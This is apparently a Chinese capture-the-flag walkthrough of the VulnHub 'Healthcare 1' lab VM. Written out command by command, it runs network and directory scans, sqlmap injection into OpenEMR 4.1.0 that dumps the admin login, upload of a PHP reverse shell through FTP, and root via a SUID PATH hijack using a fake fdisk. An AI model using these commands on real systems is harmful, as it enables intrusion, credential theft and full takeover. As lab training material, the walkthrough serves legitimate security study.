虚拟机下载地址:https://www.vulnhub.com/entry/healthcare-1,522/
虚拟机简介:这台机器是为了训练学生根据 OSCP 方法进行思考而开发的
目标:2个flag,包含user.txt和root.txt
级别:中级
arp-scan 192.168.207.0/24
nmap -A -sS -sV -v -p- 192.168.207.142
查看开放21和80端口
访问站点显示如下页面
使用dirb进行目录扫描,发现部分信息,但是无法访问
dirb http://192.168.207.139
使用gobuster加载seclists字典进行爆破
gobuster dir -u http://192.168.207.142 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
基于站点获取到的信息为OpenEMR v4.1.0
通过searchsploit发现存在SQL注入漏洞
searchsploit OpenEMR 4.1.0
使用SQLMAP进行测试
sqlmap -u http://192.168.207.142/openemr/interface/login/validateUser.php?u= --dbs --batch
爆破到账号密码信息账号admin,密码为:ackbar
sqlmap -u http://192.168.207.142/openemr/interface/login/validateUser.php?u= -D openemr -T users --dump --batch
使用admin账号和爆破的密码已经成功登录
测试使用medical作为账号和密码成功登录FTP
通过在FTP中可以直接访问/var/www/html目录
修改反弹shell木马连接,下载地址:https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
上传反弹shell木马,并开启NC监听,访问URL为http://192.168.207.142/openemr/shell.php
获取到反弹shell连接
查看本地账号中存在medical账号
cat /etc/passwd
切换为medical账号
su medical
python -c 'import pty; pty.spawn("/bin/bash")'
发现healthcheak文件存在SUID权限
find / -perm -u=s -type f 2>/dev/null
在字符串内容中包含fdisk命令
strings /usr/bin/healthcheck
cd /tmp
echo "/bin/bash" > fdisk
chmod 777 fdisk
export PATH=/tmp:$PATH
/usr/bin/healthcheck
cat /home/almirant/user.txt
cat /root/root.txt